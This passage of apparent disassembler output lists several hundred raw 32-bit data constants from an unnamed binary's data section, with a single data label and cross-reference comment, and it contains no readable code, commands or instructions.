0EC041C88h, 2F3B0CFBh dd 3A436D8Fh, 0D200E54Ch, 0C144BE39h, 80A004EBh, 6B3F86EFh dd 0BCA0F719h, 21261AF7h, 9608FD1Eh, 95541D5Dh, 11283EFh dd 47D90EFAh, 4C0B8725h, 5A3F6B8h, 24AA85B9h, 5A2E8398h dd 311BA933h, 180D7D06h, 0E3037B68h, 808050FDh, 3D5973C9h dd 68FC8AC1h, 12C375FEh, 0C401242Ch, 0F98F8D30h, 19ED705Dh dd 0C283F7CAh, 0D15954C3h, 0F4337FEDh, 73E8BD06h, 0CD3DF407h dd 3FD612B3h, 59D39D01h, 0DA702954h, 1495F664h, 0DCCD213Ch dd 302FED03h, 754065C2h, 7B664BEFh, 6D6C3358h, 240D0631h dd 45928BCh, 0D4091043h, 92C55B37h, 0A4648FB9h, 45DD0C40h dd 92F9614Ah, 5C1ECDB1h, 475AA749h, 8E8C8937h, 20FAEA9Ch dd 0A08E0958h, 239F181h, 68334C58h, 0E24664DEh, 356A12A0h dd 17B4CD4Ch, 6E2451F8h, 1416DA16h, 19E9D160h, 3EBBA80Bh dd 8815C630h, 0BF4CEAE5h, 0F801847Ah, 0D0D9D4C4h, 1210F5ACh dd 5D2D4BC1h, 0F48CC916h, 9A02E849h, 3E99824Fh, 89D9CC73h dd 0D1E34419h, 9324B5E9h, 3AC56983h, 897E3022h, 18CF8100h dd 25F73578h, 0AAB783DEh, 4321CF97h, 8EBB02A4h, 0AF561A18h dd 0E9DF6177h, 0AD4D2C9Fh, 821F2D60h, 0AE04F4A9h, 97BB0A94h dd 2115163h, 5430EE73h, 8BE31D52h, 6082AC7h, 267014E9h dd 0EE8C102h, 0BB96C831h, 0F762128Dh, 0E6A2C914h, 20538C91h dd 0BF065703h, 1D3E106Eh, 19B33BC8h, 0EFC11800h, 0FDFE902h dd 30213E93h, 9ADC993Fh, 0F520580Ah, 2BB00943h, 0E50F313Fh dd 7590BBEBh, 0D00082C1h, 0CB29EF91h, 0FC5F0959h, 92E9145Bh dd 84AEAD2h, 311B33C4h, 2F0D4C06h, 5000E120h, 0F4805FB4h dd 0EAD4F687h, 221E48C4h, 0C530580Eh, 0C0CDFE60h, 0CDFD08EDh dd 63F5CCFFh, 0E99E06C2h, 40374A02h, 0F7AACE0h, 0C3013272h dd 9808A81Ch, 6A6B3070h, 7CFF1B7h, 0FD36FC22h, 0C0C8D265h dd 70673EFh, 0DFF603E7h, 0B1D78480h, 10F4621Ah, 2A58291Eh dd 0C32EE338h, 0CA0A939h, 9E1C22B3h, 8E3C017h, 6F7CA21Dh dd 881D61BEh, 0CBC5BDAh, 5DD0667h, 5DB0C7D3h, 4F58F606h dd 13C9D45Ch, 663752E1h, 383583h, 81E5D110h, 6911D6C5h dd 0F5062276h, 0EAC67A7h, 5060018h, 0B8502AC1h, 56162641h dd 5B024834h, 0C0851C40h, 8B824DFFh, 0F75C4CD8h, 0D6315000h dd 5EF3215Ah, 71662468h, 9ABE6039h, 456C8D3Ch, 4103A021h dd 81820994h, 80ACB5A6h, 0D844FECDh, 0EB5C9682h, 6077921Ah dd 0A474822Ch, 4C0309C6h, 35008766h, 5F165605h, 3110294Eh dd 3FE91308h, 0F7E26587h, 0FD5360D9h, 138D2C67h, 0CF4D0162h dd 0FA31F051h, 5B43F40h, 0C0092EC0h, 5128840Fh, 0E9D840D8h dd 5EA3A834h, 68B0205h, 0D8011CDAh, 16044C1h, 88226855h dd 0A102F4Ch, 0C9BA006Ch, 0F7126249h, 46A4DCD2h, 0C0083E60h dd 5CAB9C04h, 9584294Ah, 54897B85h, 0E90DD12Ch, 0D788F732h dd 0F0E8D1FAh, 0BC925B38h, 80154C6Bh, 6427EB07h, 4C157D62h dd 0C28056E6h, 56D2BC4h, 6BB21AF6h, 0D0295817h, 320B812h dd 4C496857h, 51CF8C1Dh, 0A85ACD20h, 6C30E90Dh, 76E15157h dd 144EE42Dh, 0B001C183h, 0CED15072h, 0CC4D3FA5h, 4900A648h dd 1512027h, 0E92755CBh, 0BB3900A8h, 7ACA66DAh, 77042676h dd 3DFC382h, 48FB8339h, 0BC294E7Ch, 9590D801h, 0BFAD9104h dd 4B87031Ah, 9AC5F2Ch, 3C6695EDh, 2B68520Dh, 6FE36317h dd 5ACB18FCh, 4D731180h, 5358352Ch, 0AE13A48Ch, 201CA233h dd 63202C67h, 0A45A483Ch, 4FE1345h, 667A80C0h, 66FDFE51h dd 3B324664h, 2F022883h, 0FED1F60Bh, 0FB6485C1h, 0EE8BF21Dh dword_4E414C dd 1050606h, 9E6FE33h, 18606805h, 4AB9FA18h, 0F21365F4h ; DATA XREF: ___:off_43A50Co dd 5706CE01h, 0F8A30E15h, 24114E20h, 0FA8901C1h, 0FD6A9566h dd 9632057h, 35E76303h, 49DDF75Dh, 740B37D4h, 5FA93CE9h dd 0F7B81780h, 1FF6E09Bh, 28167560h, 2E8604C8h, 17A29D2Ch dd 801564F2h, 0E288ABDCh, 0EA3AC7A2h, 98BE6041h, 386C9006h dd 435320E9h, 10B42148h, 5F248ADBh, 8D8500E6h, 0DA312A46h dd 0E8B270FCh, 83F8B0B0h, 98ADB380h, 0F60230A8h, 0DE8887C1h dd 932D1F90h, 0C510A596h, 0A1333AC8h, 6B031D9h, 6CBCE90Dh dd 9EEDA1C5h, 20F32180h, 0FE5913EFh, 4FF12C7h, 0D0E6F7D3h dd 93B652FAh, 0F664E914h, 83AD07DAh, 8209207Fh, 487A452Bh dd 46FC627h, 0E9792343h, 0BDF19189h, 4ACEE4C7h, 0EBE58100h dd 0C13E9B32h, 60667EDh, 0CCC1CE07h, 30F308DAh, 44074325h dd 41E91FBAh, 0ECAC5A5Ch, 82C7AA9Ah, 135ADBAh, 23343C68h dd 0F54B7812h, 37E9FF02h, 290F4932h, 0C628BB71h, 847CC8DFh dd 8E0C105h, 0F70731C0h, 9412FAD0h, 613AAF0h, 59FB610Ah dd 0BD277A5Bh, 440F1A19h, 7E1C60F8h, 473D59C0h, 0C8BD2CC9h dd 0FF6C013Fh, 5C380B7Ah, 0B1ADC5A4h, 84257278h, 5D03781Fh dd 56C1DD87h, 28263354h, 0E583395Eh, 0D6D7E9E8h, 0E5EAB1CEh dd 60B26B21h, 5F84B748h, 0B258852h, 0CBD4540h, 0FEF9F3C3h dd 5A811514h, 365AA176h, 5B5D07FBh, 0E58B9AAEh, 58C30937h dd 8620BF4Ch, 0D5313903h, 5A14EA2Dh, 0E801E890h, 681DBC54h dd 40782A52h, 5ABBF80h, 12C3E93h, 500883FAh, 8B531D51h dd 0A0A0EC91h, 800BD6B8h, 0D402701h, 12F64A5Bh, 9892C543h dd 744D44D5h, 0ED04D0F7h, 12C47A26h, 7140006Eh, 29A7E753h dd 7DE9E80Bh, 0ECF54E17h, 487B18EFh, 4302D249h, 2BAA5CA0h dd 1521A1Dh, 415DA4BEh, 344FCEA4h, 88E070F1h, 0F42EFE72h dd 0C4177C5Ah, 0B8ECE106h, 0C01A3B0Ch, 4060735h, 0A4050310h dd 2507067Eh, 0C713EBCh, 15583850h, 0D8F70021h, 0F46C2D40h dd 7FC52C23h, 2BB3783Eh, 984E610h, 0C671AE68h, 76B800C9h dd 56532F38h, 7D0772BEh, 6DE91D5Ch, 0CCB4D69Ah, 64179F0Eh dd 0EA841049h, 80B176D5h, 33C9D83Ch, 1D0FAC27h, 60927023h dd 0AD207641h, 0C4201FCDh, 5FF98026h, 60CEC181h, 296A670Ch dd 1F0286D1h, 871DEE3Fh, 753C9DE6h, 4108214h, 0DD781900h dd 7B09A82Eh, 3E48262Fh, 398F003Dh, 0F1299B89h, 0E9515E7Fh dd 10C33238h, 0AC013512h, 0F3685366h, 0C733Dh, 6FB3ECB4h dd 0E058E330h, 5B662ED8h, 20821EEEh, 3109595Bh, 0C6773150h dd 0E0E2F544h, 586DAD10h, 0E1C10C1Eh, 51D8EA06h, 0CBE9773h dd 2D36E382h, 8779CA31h, 2E2FB7C3h, 5B15FE9Bh, 534EEE06h dd 0F0C277Dh, 77653821h, 9FDBF680h, 101FDAAh, 0E9575EF5h dd 0DD642D73h, 0D7F734FEh, 5D8FC208h, 0BA0162C6h, 0E15F9773h dd 0C4BBD631h, 5AC71E69h, 0F65E80A5h, 310F66E9h, 0AC6ACCB6h dd 1F8D3DDBh, 0D4CD3289h, 0D56912FDh, 5C591910h, 0D0AB40FEh dd 285A660Bh, 0C0C3E2D8h, 3E06B129h, 5989CF08h, 5B82D7F6h dd 0BA00272Ch, 0E3022Bh, 0EDCA817Dh, 0C1471912h, 3208EA24h dd 7F4E3202h, 0E0156B0Ah, 2AE905E2h, 59D4255h, 0B92D91E3h dd 22A4C372h, 5BD98F1Ch, 859CBC9h, 3224FE9Bh, 9793D017h dd 53B92CC8h, 0E67A0D02h, 84BD2C1Ah, 10D0694h, 491CF144h dd 0AB6F892h, 30FC192h, 4541C310h, 79E7E1CFh, 0CBDF5F5Ah dd 8DA7CB78h, 18EF9E0h, 16240B73h, 98583E24h, 0FA032D07h dd 5244C638h, 717F98BAh, 9A5AC126h, 4017059Eh, 9F490F95h dd 740C5160h, 0EE6EE116h, 17890FB9h, 0E9E40BE8h, 0AAC4Fh dd 0AB79F105h, 7EE2D62h, 1646717h, 3E07CAD8h, 26681150h dd 0C4390891h, 59F0F0A2h, 16BC494h, 0E1882293h, 99C1FB43h dd 6F60C830h, 0E117BE25h, 60D02D66h, 0CD5B586Eh, 0F9563972h dd 0B0EA80EEh, 16FA048h, 8F6F268h, 1EBC7F28h, 0A584FA64h dd 0E452480Bh, 0A7A6D2A0h, 3BE98367h, 980A4A5Eh, 5A28D32Eh dd 0C2B02553h, 0B2CEEB31h, 79693166h, 24CA9010h, 7D0B2C29h dd 3B57E737h, 2B0DAD41h, 0C42D0B84h, 0E50EA1F6h, 0D78A0605h dd 6AD1396Fh, 0E0B31856h, 0E087B124h, 0B1A490C8h, 811C147Fh dd 0A9547797h, 891C0659h, 2DAED839h, 4EEB1C53h, 6F2A455Ch dd 0EF4904E3h, 5EB9002Eh, 1D1E2716h, 8AD1F181h, 1A95A78h dd 62DE1244h, 411A8249h, 789F8376h, 0CEBF240h, 2E5B63C9h dd 7E3C3E0Ch, 0A5E9165Ah, 0F4188BC5h, 5C5ECABAh, 0F940F172h dd 0DC3D05DBh, 0E199E933h, 0D3592877h, 0CA5076CDh, 905A5452h dd 42A20B7Fh, 17003D8Ah, 37872D1Fh, 4F0CC9ECh, 0A45D395Ah dd 3B5F2ECBh, 0A4C5123Bh, 101F554h, 0C1593A74h, 0CDE405EDh dd 19FFE14Fh, 8202E512h, 806370C8h, 17A02D00h, 0E80118D2h dd 5607A205h, 0DD1C89F9h, 27F793AEh, 0D4C0B5B5h, 0A2098131h dd 0F0B22465h, 34B071E5h, 4F05A071h, 0D901739Ah, 4A08AF10h dd 872A5FCAh, 52512CDBh, 5B8D086Ah, 97356025h, 4D66274Ch dd 3996D609h, 0E9257592h, 8B94846Fh, 8E9631A8h, 4B064289h dd 0BE96042h, 0C58549C9h, 4ED6330h, 37AB0D14h, 0E92DE45Eh dd 7F16CF9h, 48640566h, 32B0A795h, 0ECBEA045h, 6861713h dd 0A511329h, 2DB03B2h, 9BB0DADh, 89C58580h, 0CFE6F608h dd 0FE315909h, 0E911815Fh, 0D53C5B35h, 89E984D3h, 3EE313Eh dd 0A773014Ah, 29799F00h, 0FABB5325h, 0DAF3C47h, 1E5BDD19h dd 0B1CF8A6h, 0E913BAB0h, 2029779Ah, 8A771F2Eh, 42EA2D93h dd 68010B54h, 2F68387Dh, 0E9B88893h, 0D087D324h, 17EAC48Eh dd 4BF04D14h, 3D8D0CC4h, 0BB58CF76h, 0BA908020h, 42D0CBA2h dd 8F28100h, 972636Ah, 206DB0D0h, 0AD306465h, 6286FC52h dd 5E0D1h, 45EEA541h, 6858C289h, 1B38F82Fh, 0D098848h dd 80E91A7Ch, 7C1D736h, 107C32BBh, 145AC814h, 0E60259D1h dd 46ED0F03h, 130B56E0h, 823F5426h, 9D382D02h, 505CEBCAh dd 5360F06h, 0E9087649h, 0B62ED1E0h, 67DADCC4h, 0D4BB294h dd 4AA11F72h, 77A53DE5h, 47CC0D89h, 9284EB76h, 0E1C593AFh dd 2EF2B2E9h, 0AE8A3963h, 0C7A2251Dh, 58046B44h, 194F6852h dd 0CDB744h, 4650F2BAh, 424A265Ah, 19140060h, 8BE974F5h dd 0B890EE92h, 12202D20h, 15DEA01h, 0E164E537h, 390DF87Eh dd 925B1CCFh, 2A530D13h, 50A00D32h, 27B62ECEh, 3BB509A3h dd 576E687h, 3DC080EBh, 27BE4C0h, 0F60412E6h, 2917E9D4h dd 0E33FB314h, 6CCA52E9h, 59ED7660h, 0B428F526h, 0C30C0E17h dd 39EAC25Eh, 693E3AB5h, 4C0BE29Ch, 0E7264A24h, 1E13FD06h dd 92B396E9h, 28515E11h, 0C125E9DEh, 0C67D4982h, 57E0D755h dd 0E45E14DDh, 0E80E0845h, 144777Bh, 6C141F7Ch, 10109A0Ch dd 0A3585F1Ch, 4821C295h, 3A51C2A2h, 0EAF2EA28h, 2612C159h dd 0A7EE69E9h, 5E9BA47Ah, 0F9600699h, 16269EA6h, 0C109C049h dd 0AA2E7320h, 85B9F997h, 1650E9FBh, 4F4BE5A4h, 24235ECFh dd 0AB063F7h, 0E148E8FAh, 6E5EDE68h, 211A2D30h, 463B2B79h dd 0C01C9297h, 0D711DCDAh, 6092582Ch, 103FF18h, 9E597ACAh dd 77610961h, 0F1E071B2h, 95002B2Ch, 55DAF739h, 1A0BDh dd 0E581166Eh, 353503Eh, 61E7E912h, 1CF28140h, 0A006421Dh dd 9075AF7h, 0EDE941D0h, 0D6F72EA0h, 0C8FFF387h, 7E1DFDFBh dd 0C8F053EBh, 30BA5009h dd 0EA6A5F14h, 1E094A79h, 58B6E945h, 0A1B99EBh, 495457DFh dd 22264905h, 0A9A9CFBCh, 73146C09h, 0E709295Bh, 1BBE8B9h dd 4BE9BA4Ch, 0CEB89C0Ch, 0F995C554h, 22971EEEh, 7C2D7F54h dd 38A563B2h, 8DD5DF28h, 8B3F410Bh, 0A63C030Dh, 3B82BD20h dd 2EF35632h, 0C279C922h, 0F1F65C41h, 2E74922Dh, 1F253768h dd 3B466570h, 0F0803FB8h, 0BC096F4Dh, 60E8835Dh, 92D0701h dd 0DE37A6FCh, 1F593D00h, 0B8651Dh, 0C4248D07h, 20C80166h dd 9BB8208h, 5893A114h, 202F5150h, 59C889BFh, 0A22138D2h dd 743D40FBh, 0AEA2A801h, 0F4FD29C3h, 1AC70C71h, 0FF74C0FEh dd 0C283A890h, 8D5B9604h, 0C05BBF57h, 0E924EF29h, 489E8C4h dd 684787DCh, 52E022A2h, 81647916h, 73CE6101h, 549A987Eh dd 39D96BE9h, 6BEA9909h, 684F2CCh, 177E66CCh, 0BE0145C1h dd 55B170Ch, 59CD0A04h, 0F4712CC8h, 11D11F4h, 540C906Ch dd 575C5D3Bh, 0B83A272h, 44E96F27h, 0A475FD31h, 0B5BCAF84h dd 0A2ED5426h, 12EA4E58h, 60428A93h, 0FB3AC428h, 435F17h dd 1C2618F1h, 81BEBC1h, 0EF04D3F7h, 60DD1E72h, 4BD90132h dd 2E89935Bh, 0D62B7758h, 0C3C66900h, 0A0259D55h, 5C086DBCh dd 2A7C7865h, 0BCB644E9h, 0E289402Fh, 0BE065651h, 15461249h dd 1AB00B36h, 0EB0B7D30h, 40AED003h, 2FB75A0Bh, 1DF1205Ch dd 2701573Fh, 9EC875E9h, 733E80F3h, 6F0C60B0h, 80294A17h dd 0C003B90h, 5BD82154h, 0C9484D35h, 0DF242F3Fh, 493FF287h dd 50DD4C99h, 5001BA77h, 0E94D305Dh, 6C81495Bh, 517EC4BFh dd 7DEEE809h, 78C1CFA9h, 0B851A2D4h, 5D58E90Ah, 62608E07h dd 7C302BD0h, 5DEE2913h, 4625E2E0h, 22D61044h, 4E6C017h dd 0B873495Bh, 5890C48Eh, 1E09A010h, 0A90279B5h, 29013EAFh dd 0D8CD58C3h, 0AC94A338h, 2000F138h, 89CF8147h, 23767452h dd 2ECCF704h, 76F119F2h, 50827D7Ch, 0DCA9E089h, 833B31C6h dd 13984FEAh, 49679CB9h, 9A6C0909h, 335FF81Ah, 0D16758BCh dd 0D304C00Dh, 0DC2968E0h, 7FB492A0h, 602D5F16h, 0A293942Ch dd 132FAEh, 30D9684Dh, 5F6F2C1Ch, 0D1EB4FF1h, 918873A5h dd 64CC14A3h, 5878C51Fh, 81616C61h, 0D6DC3BE7h, 0D7F73948h dd 4D5DF24h, 0C2BFFFD0h, 0BC61FBFBh, 0A713C64h, 0F3663568h dd 0ABD44FB8h, 852C61ECh, 0C3288140h, 6845FF68h, 0AE1C9694h dd 0F05AF309h, 0D0E9070h, 0C29FE987h, 0D80C4258h, 8343BF59h dd 0A52CB5C0h, 9D93AE5Ch, 3FB69622h, 0DDCD0949h, 3882CDFh dd 78333E2Dh, 5F8E141h, 0A48B0742h, 37A59ABEh, 539302C1h dd 5A6049D3h, 50821AF2h, 0E918E2D8h, 0E8817E91h, 9F12F059h dd 2CB9A782h, 4A0B9E66h, 917DA1Ah, 83D88A0h, 0C1C5213h dd 0F22C6128h, 0FE00645Eh, 0D15BB11Dh, 0D8F700E8h, 2463112Dh dd 71013573h, 29509E5Dh, 1D6B58C2h, 0C7979A3h, 2030F9Dh dd 0B7804796h, 0E7801E08h, 0F02A9F22h, 0D7CAC791h, 7E4A4224h dd 0B10157ACh, 528E6A65h, 5A05382Ch, 1C06E2C1h, 8DD13AA8h dd 13C9A820h, 0F9564h, 0A5483E56h, 0AEB02955h, 0E908EE50h dd 821A8924h, 725BDF8Dh, 0C1862C28h, 0C3028952h, 6EF71C90h dd 12A5A5Eh, 0E2D1C209h, 233E1468h, 0E4E9167Fh, 0FA41B1E2h dd 0D6C96128h, 0E2801040h, 0D2F6BA1Dh, 512AEA49h, 26B38130h dd 0F805E3C0h, 281C0DEBh, 0D3C55BDAh, 0CAA87AE9h, 0E4AB035Bh dd 8DAB59Dh, 5B2EA45Ch, 65F5C382h, 0CDB880BBh, 0B769FC5Dh dd 14086328h, 7741E059h, 0FF102B78h, 7C31136Fh, 14383889h dd 1292CBA4h, 50A0F7E9h, 0D37B85Bh, 384A8958h, 0D2D56243h dd 36CD61D1h, 29B25D03h, 0C332874Ah, 5F35BB64h, 950CA95Dh dd 0C096D2Fh, 0AA840FC9h, 385A6847h, 0A9542109h, 0BE9AEC3Eh dd 0BBE9097Bh, 0C11814F8h, 40603EEh, 0BC6B896h, 31D0F701h dd 0B5149105h, 0BC85EFE9h, 852DE417h, 8B0CBF61h, 0B0F628Dh dd 90A8C081h, 45825A87h, 5B004AD0h, 0C62ED268h, 0A0DEE37h dd 17B03500h, 0C72924AFh, 0A691B358h, 0E99C8607h, 0BE02674Eh dd 23972159h, 0A6CD8F46h, 934A13DEh, 0AF0F03EEh, 3A2251C8h dd 6F1BD431h, 1F845A7Ah, 1716AD4Eh, 5658C3F6h, 2AF90425h dd 0D0C0109Bh, 98D47D8h, 784DE93Fh, 0C5235679h, 0D80BC1A4h dd 0FF7F9046h, 8177482Ah, 0BF190A58h, 8C3111EFh, 81FB21EEh dd 9166FE68h, 0CA5494B7h, 316ED9E4h, 0C90D3809h, 0EED32233h dd 0B2EE5163h, 65096490h, 30CF2960h, 4828E9C8h, 11FB9897h dd 53AC8025h, 0FE0FB30Dh, 79F404CBh, 30B89586h, 0BAB8F830h dd 0A3CB1C4Bh, 2BA520Bh, 876E3CC6h, 0DB83B3B1h, 0DA96B253h dd 1C50451h, 0B1D046EEh, 7986F800h, 30583EC4h, 518092E9h dd 98B45066h, 0DE1883Bh, 0A6C9FE58h, 0E5244E2Dh, 88B6CA5Fh dd 6124F312h, 1CA5796h, 0A09E982h, 0F86094D6h, 7259F5Eh dd 0B1E2815Ah, 0C548252Eh, 66FB8254h, 0B225007Eh, 0E90610C8h dd 0F64F4071h, 14B3D950h, 9ECB801Fh, 7D20D34Ch, 835E16F5h dd 390040EDh, 3195F614h, 0EF732ABAh, 0AFA52CBEh, 0C21F69A8h dd 0C3D160A2h, 921B9D02h, 562930F9h, 6A1452CBh, 24C0AD58h dd 0B39D0122h, 0D07BC167h, 4CC3FECCh, 9C67BE80h, 76F362D6h dd 0C280807Ch, 0E9D12887h, 6F75F37Fh, 0F3550A34h, 0CB6DBB00h dd 6347122Fh, 5CF39AEAh, 1830C5D4h, 0C180C1F2h, 0CA7A2270h dd 506E2726h, 243B4C7Bh, 8875682Eh, 0E9041B61h, 8BD86721h dd 605C41EEh, 75BA61B9h, 5AB3150h, 0DA21E807h, 0A59010Ah dd 7DBE4679h, 5B08A838h, 35F4A213h, 3191C9F1h, 34CDF6C1h dd 513766D8h, 595514F6h, 0F1800730h, 0B7531F55h, 0ADE90978h dd 21AF9AAh, 676121EAh, 0CCB6D984h, 0E5126CB4h, 6A800766h dd 132AEB81h, 0F563F23Dh, 58080289h, 0F920DE78h, 1FE6FC82h dd 0A6962919h, 38D10218h, 0D1C2325Bh, 78C9DAF8h, 0FE56CCC6h dd 0CC865E19h, 21DF2801h, 904B8E49h, 3C111367h, 818174D8h dd 46EC8E3h, 0AF908169h, 29CBD127h, 0C05A7430h, 0C73FDA7Ch dd 0EF318171h, 2CE90DD6h, 0C33FC8E6h, 0E2989572h, 0B43C2F21h dd 0E9D00F5Bh, 0F2D3789Bh, 41590F5Ah, 60855671h, 0F2A0AC45h dd 7D0F01Ch, 0E0C0CFB0h, 0E901A407h, 0B5246455h, 84887481h dd 30457BA4h, 4D439CC0h, 97B1664Ah, 0BD14FB8Ch, 6D32683Ah dd 5ECE1522h, 3CBA0EEDh, 8119A420h, 72127BCAh, 0D8B4386Fh dd 0A30395C2h, 0DFA0F2BBh, 8CA201BEh, 3D04DF09h, 300400D4h dd 74D56866h, 1A1D219h, 88520302h, 5AF5C8DEh, 0E06F7E91h dd 59E97BB6h, 0BB11DD0Ah, 3D325A9h, 2F856C70h, 10A3D807h dd 0F363373Ah, 494F9BFh, 8A2820h, 51E79E1h, 70B94F11h dd 442DDDA1h, 62D8107h, 1EC7080Ah, 0C862FB35h, 0BD010FB7h dd 21703E1Ch, 2F9BEE30h, 3CFC307Ah, 0E504A920h, 2F9942D0h dd 0F5935DD7h, 2110C995h, 59015AADh, 0DE50685Dh, 28587C7Ah dd 459C940h, 0F9FCA197h, 0BDEBA13h, 9E785813h, 85950898h dd 0B1C25733h, 0F1C00F75h, 50D1F75Eh, 806B807h, 0D880520Ah dd 1E1D0525h, 64E922D0h, 5DC7402Dh, 35127A08h, 5410CF01h dd 507C6208h, 0FD5C04FFh, 2969D3Ah, 7631BA63h, 9B189706h dd 0DC824493h, 3C545225h, 0EF4EC98Ch, 7A1C5177h, 0E1764F41h dd 0B31B772Eh, 0B1A23AEh, 5A20BBC8h, 4D215F43h, 201BCE59h dd 8D73C63Bh, 24D7EE24h, 0C17098BFh, 0EE84B51Eh, 67C26905h dd 37AD18E0h, 6B1ECE4Ch dd 201C0911h, 25F8BBE8h, 68027AEDh, 0CBBFDAAh, 0CA43C7DEh dd 0E27DBD09h, 7FFC0041h, 9C25165Dh, 55A40ECh, 20632F9h dd 0BC2EE90Ah, 0C29CB438h, 1030555h, 251DB9EFh, 58058F4Ah dd 0D05D5455h, 0C81470CEh, 0C949B8B8h, 0BD5A5027h, 0A9743B5Ah dd 9EBCDF88h, 4ABE07C3h, 0D1770057h, 0E666C1EEh, 15971AEEh dd 0B52FE168h, 0B353DF12h, 0E8C1033Fh, 0F2C8310Ah, 5D5F69DDh dd 2827672Bh, 0A1A1E017h, 50A6626Fh, 585BCBE4h, 2768E5CCh dd 0A2124F6Bh, 0E959E756h, 0B486752Bh, 5076F742h, 0C125F878h dd 2413E658h, 0A4AA5BE9h, 48203F9Dh, 587E8058h, 3FB01C9Ah dd 854FC510h, 139DACA0h, 65A0DFF6h, 0D0304519h, 4A24E9F9h dd 8DCA3EFFh, 160587D1h, 8F025684h, 9B964A77h, 6B1796B1h dd 8D556205h, 0FF3320F6h, 0C7F0F31Fh, 597C0B8Bh, 0A7AABC22h dd 524394EFh, 1A9716E6h, 748A6221h, 0D2F700A1h, 41CA874Ah dd 0A39240F6h, 0D73C1090h, 177927Dh, 4302061Fh, 60603F15h dd 9540CA8h, 0D3F74290h, 83B8880Eh, 0B37E6853h, 0F36862BEh dd 12FDC625h, 0A46EF3E9h, 68175588h, 0A5CC2412h, 8123167Eh dd 0ABE90063h, 557AB10Bh, 6069BD00h, 0EE01F291h, 0E689515Dh dd 0BC725720h, 0D02D0048h, 5B5F2E6Fh, 0FE1A1AB5h, 24B45B2Fh dd 2C0C131h, 0B00D213Bh, 66610725h, 0ED28F9F7h, 8C525018h dd 0C0013A39h, 6822BA54h, 393F2978h, 46C8Fh, 0B8021F7Fh dd 5998D25Bh, 312C8A7Bh, 0F1B312F7h, 838B697Dh, 5363CDh dd 2276ED4Ch, 0D5F764B8h, 0A468520Eh, 0E940E2BEh, 0B0D8AC6Dh dd 985092DCh, 0EBA42A8Ah, 94ED5AE4h, 0EA838283h, 630A7909h dd 0BC48D366h, 0B91510A6h, 0DC685E0Bh, 659595D0h, 50AB270Dh dd 0E306C0Eh, 0BE8762Dh, 0B448C3A4h, 0D8B4F4D5h, 0BE680302h dd 478F5D60h, 307C027h, 0BFD929DBh, 0EB35C9EBh, 7B36E020h dd 64A62C79h, 9C5F658Eh, 0B86FBF0Eh, 49B196ACh, 0B003E5CCh dd 22301C3h, 6856480Dh, 70D0DC3Fh, 542C9A98h, 0AE80E312h dd 0F7615B22h, 9AEEF8DDh, 0C83B28A6h, 5B926983h, 0E967D56h dd 0B1AC2252h, 73016F07h, 0BF2BC228h, 9827EA6Bh, 792BEC88h dd 0FEF30753h, 79E950C3h, 0FB9FEC0h, 74427724h, 7044C901h dd 0EE302163h, 0A2400160h, 47D7F70Ch, 3886C4Fh, 2C3A22CFh dd 79D7B728h, 0E9155250h, 2DF894B2h, 5DD15E13h, 0EBE2054Dh dd 0C0415E7Ah, 4D028EDh, 0D66E026h, 0B2520260h, 0EAC03F92h dd 38CA800Ch, 0F63C070Ch, 95C212DAh, 1AD403B9h, 2CB8B11Ch dd 413D0808h, 66A02912h, 37713DEh, 42308D3Bh, 0B05459A8h dd 97B46664h, 35B75FDDh, 82ADA25Ch, 79E31CE9h, 4A793C66h dd 50BB432h, 0C1152103h, 0F15507EEh, 417A4C47h, 0D45B04CEh dd 1D132A74h, 9C5DB10Fh, 507039E7h, 54245878h, 1FA81A12h dd 0FAA1F9D0h, 34D9ED58h, 0ECECAD9Ah, 7A9067F5h, 0C4D713BDh dd 7F8A4D5h, 3BDAE9A1h, 2C3A1A1Ch, 550BDD66h, 1217D33Ah dd 0D413BC04h, 0BFC8D627h, 0D9424186h, 2A827220h, 0BF4EA439h dd 700029FCh, 685FFD21h, 0F6BC1D2Dh, 97115866h, 8B04C18Fh dd 6A8CC96Eh, 0A2AC801h, 8B3106A3h, 8259D6E6h, 8F7C368Ch dd 50459ED4h, 20E9F99Ch, 0CA9022D7h, 13155F62h, 0F876458h dd 1E694ACBh, 8072FC6Bh, 5A05F025h, 16C080EAh, 86CB9FAh dd 0C180159Ah, 21F53BBFh, 2D3C9089h, 3D9810E3h, 76826626h dd 0F246ECBEh, 0E3C9E054h, 606ECA09h, 8E348133h, 12707E0Ch dd 4A325A31h, 0BDAF10DDh, 0C05FF03Eh, 7B828A6Fh, 4E29323Dh dd 0F13CE236h, 1F4C5FA5h, 0D0910CD2h, 33385654h, 0CA4FE8C1h dd 88DFE16Ah, 24C403A0h, 354B0202h, 0FC40408Ch, 52EC2E71h dd 6C05C9B0h, 890F8E17h, 6857EB00h, 775A440Eh, 2FE92F13h dd 5D5A05h, 34B935D7h, 2D02637Fh, 0A0CDAB31h, 1DBF001h dd 0D1EA81FAh, 70102E79h, 149CC937h, 3DCD84Fh, 1AD12E3Fh dd 0D3F8E31Bh, 3BA2A00h, 6878D04Bh, 2FB51401h, 0D2FDC87h dd 0BBF3CEA7h, 89FE4D24h, 1550EF50h, 90139D03h, 0C1746CFh dd 8135EF10h, 575AD101h, 6A992A80h, 9BBF4FBCh, 9A290BCAh dd 9046622Dh, 0A10966C0h, 8014B534h, 4A61FB96h, 0FE31C01Fh dd 790E3E4Bh, 0F1EA400Fh, 30510812h, 1795FB91h, 72BF5308h dd 0B16A473Ah, 540CA56h, 0A537498h, 2DC80121h, 82C92C07h dd 9E95455h, 665BD558h, 0A762CF0Dh, 2C79B9DCh, 9A1A30Dh dd 20842215h, 18718129h, 81460053h, 2D5A16EEh, 0C6400024h dd 922935ECh, 0CE592BB0h, 0E5C25AF7h, 2A25E45Ch, 2E756DEh dd 679825C4h, 6883558h, 0F09617D8h, 8177496Bh, 0BA0F247Bh dd 0C5CB010Eh, 0F6B34852h, 322704D6h, 0E8B79503h, 0C808A454h dd 0B4ED42FFh, 7E21BD00h, 5C29F630h, 9B596EEh, 8EDBC9C2h dd 46D0C109h, 5F4FB0BBh, 68988A4Dh, 0F2A40720h, 0C264C517h dd 0FEB00613h, 13A7D287h, 12DCB388h, 2B12215Fh, 7E02E709h dd 0FB6883Ah, 85463E26h, 65664BD1h, 68E08880h, 0D3143A33h dd 0D85D4E73h, 5B8458F8h, 8AFC13BBh, 25B24A76h, 51500FC0h dd 0B926E957h, 8BAD9EFBh, 987396A4h, 415065ADh, 7DF00BE3h dd 7AC9A20h, 0F72C1177h, 8019CDEh, 98F8F681h, 3C2E7CDBh dd 0E912215Eh, 5B534929h, 4E2051D8h, 985F5B69h, 3C400C96h dd 84EE6001h, 65747938h, 116F1BFAh, 0B88C61D1h, 0C093EF21h dd 70F59DF5h, 624E68C1h, 84716513h, 